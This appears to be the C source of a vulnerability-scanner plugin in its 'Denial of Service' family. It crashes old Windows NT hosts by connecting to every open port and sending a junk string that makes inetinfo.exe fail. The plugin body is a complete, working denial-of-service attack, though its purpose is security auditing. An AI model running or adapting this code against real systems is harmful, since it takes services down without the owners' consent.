/*
 * 
 * inetinfo.exe
 *
 * This plugin was written by Renaud Deraison and is released
 * under the GPL
 *
 */
#include <includes.h>

#define NAME "inetinfo.exe"
#define DESC "\
It's possible to crash a WindowsNT workstation by\n\
connecting to every port and throwing garbage\n\
This causes inetinfo.exe to spin up and to crash\n\
the station\n\
Risk factor : high"
#define COPYRIGHT "Evan L. Carew / ported by Renaud Deraison"
#define SUMM "crashes NT using inetinfo"

PlugExport int plugin_init(struct arglist *desc);
PlugExport int plugin_init(struct arglist *desc)
{
	plug_set_name(desc, NAME);
	plug_set_description(desc, DESC);
	plug_set_summary(desc, SUMM);
	plug_set_copyright(desc, COPYRIGHT);
	plug_set_category(desc, ACT_DENIAL);
	plug_set_family(desc, "Denial of Service");
	return(0);
}

PlugExport int plugin_run(struct arglist * args);	
PlugExport int plugin_run(struct arglist * args)
{
      int n, s, len;
      u_short soc = 0;
      char buf[1024];
      struct arglist *  hostinfos;
      struct arglist *  ports;
     

      hostinfos = arg_get_value(args, "HOSTNAME");
      ports = arg_get_value(hostinfos, "PORTS");
      while(ports && ports->next)
      {
      	
      	soc = atoi(ports->name);
        /* create a socket */
       	if((s = open_sock_tcp(args, soc))>0)
       	{
          strcpy(buf, "jfiebnfvmrur84j dfj494 40wetnt");
          len = strlen(buf);
          n = send(s, buf, len, 0);
        }
        socket_close(s);
        ports = ports->next;
      }
 return(0);
}

